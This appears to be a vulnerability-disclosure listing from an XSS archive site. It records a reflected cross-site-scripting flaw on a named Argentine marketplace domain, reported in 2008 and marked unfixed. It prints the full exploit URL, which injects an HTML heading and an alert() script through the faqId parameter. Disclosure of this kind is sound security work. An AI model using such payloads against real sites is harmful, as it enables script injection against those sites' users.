Security researcher C1c4Tr1Z, has submitted on 03/06/2008 a cross-site-scripting (XSS) vulnerability affecting www.mercadolibre.com.ar, which at the time of submission ranked 489 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 10/06/2009. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail.
Date submitted: 03/06/2008 Date published: 10/06/2009 Fixed? Mail us!Status:  UNFIXED
Author: C1c4Tr1Z Domain: www.mercadolibre.com.ar Category: XSS Pagerank: 489
URL: http://www.mercadolibre.com.ar/jm/ml.faqs.portalFaqs.FaqsController?axn=verFaq&faqId=2377--%3E%3Ch1%
3EWTF?!%20XSS%20by%20C1c4Tr1Z!%3C/h1%3E%3Cscript%3Ealert(%27C1c4Tr1Z%27)%3C/script%3E&categId=AFBUY
Click here to view the mirror
Home | News | Articles | Advisories | Submit | Alerts | Links | What is XSS | About | Contact | Some Rights Reserved.